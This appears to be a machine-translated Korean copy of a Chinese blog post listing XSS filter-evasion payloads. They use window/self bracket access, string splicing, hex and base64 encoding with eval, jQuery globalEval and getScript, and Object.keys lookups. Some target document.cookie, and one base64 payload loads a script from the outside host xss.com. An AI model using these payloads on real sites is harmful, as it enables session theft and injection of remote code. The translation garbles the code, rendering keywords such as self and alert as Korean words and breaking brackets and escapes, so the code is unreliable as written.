다양한 필터 바이 패스의 변형 XSS

XSS 다양한 변형 우회 필터 (각종 변형이 XSS 필터를 우회)

에서 기사 : https://www.cnblogs.com/iAmSoScArEd/p/11287928.html   나는 슈퍼 두려워

 

등 윈도우 조작을 사용하여 자기 같은 효과 window.self 전역 변수로 간주되는

1, 창

창 [ "문서"] [ "쿠키"] // 代替document.cookie를

2, 창

창 [ '경고'] ([ "문서"] [ "쿠키"]); // 代替경고 (document.cookie를)

3, 자기

자기 ( "123xss") "경고"]; // 기존의 경고 교체

4 개의 코멘트

( / * 안녕하세요 * / 자기 / * 안전 * / ) / * NO * / "경고" / * 알람 * / ( "123xss"); // 기존의 경고 교체

스 플라이 싱 (동일한 효과를 교체 자체 창)을 사용하여 5

자기 [ "에일"+ "RT"(자기 [ "문서"+ "ument"] "COO"+ "KIE"]); // 代替传统경고

6 진수 (동일한 효과를 교체 자체 창)을 사용하여

자기 [ "\ X61 \ x6c \ X65 \ X72 \ x74" ( 

   자기 [ "\ 64 \ x6f \ X63 \ X75 \ x6d \ X65 \ x6e \ x74" ] 

       [ "\ X63 \ x6f \ x6f \ x6b \ X69 \ X65 " ] 

) // 경고 (document.cookie를)
 

BASE64 (동일한 효과를 교체 자체 창)을 사용하여 7

셀프 [ "\ X65 \ X76 \ X61 \ X6C"( // 평가 후면 

  셀프 [ "\ X61 \ X74 \ x6f X62 \"( // atoB를베이스 64 디코딩 방법에있어서,베이스 (64)의 부호화 방법을 사용 btoa ()
 
 "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs의 =" ) 

) // VAR = document.getElementsByTagName 헤드 ( '머리') 항목 (0); var에 스크립트 = document.createElement ( '스크립트'); script.setAttribute ( '유형', '텍스트 / 자바 스크립트' ) script.setAttribute ( 'SRC', 'http://xss.com/xss.js');head.appendChild(script);

8, JQuery와 사용

1) 자기 [ "$"[ "globalEval"( "경고 (123)");  // 경고 (123) 

2) 자기 [ "\의 X24"( // $의 

  자기 [ "\ X67 \ x6c \ x6f \ X62 \ X61 \ x6c \ X45 \ x76 \ X61 \ 64"] // globalEval 

  [ "\ X61 \ x6c \ X65 \ X72 \ x74 \ X28 \ X31 \ X32 \ X33 \ X29 "] // 경고 (123) 
) 
3) 자기 [
"$ "] ["getScript "] (URL). getScript // 从URL获取JS脚本

9 Object.keys를 사용

 0 = A; 에 대한 (I 에서 셀프) { IF ;}는 ++ (I == "경고") {을 console.log (A)} // 배열에 경고 위치를 얻기 
 자기 [Object.keys (자체) 7 ( "123") // 경보 ( "123")이 실행 코드 7 효과에 의해 실행 결과 가정

 

// 우리가 "경고"문자열을 사용할 수 없으며, 위의 방법을 사용할 수없는 경우, 
// 어떻게 우리가 "경고"인덱스를 찾으? 자바 스크립트는이 문제를 해결할 수 있습니다.
// 우리가해야 할 변수 (A), 기능 반복 자체에 기능을 할당하고 경보 인덱스를 찾을 수 있습니다.
우리는 정규식 예로서 "경고"^ [REL] + $ T로 찾을 테스트 ()를 사용할 수있다 : //
= 함수 () { C = 0 ; (I 에서 셀프) { IF (/^a[rel]+t$/.test(i)) 복귀 C, C ++ ; } } = () => C = {0, (I 에서 셀프) { IF (/ ^ A [ REL] + T $ /. 시험 (I)) { 반환 C C ++} }} 자기 [Object.keys (자기) A ()] ( "123") // 경고 ( "123")

비명에서 위 아이디어.

추천

출처www.cnblogs.com/iAmSoScArEd/p/11287928.html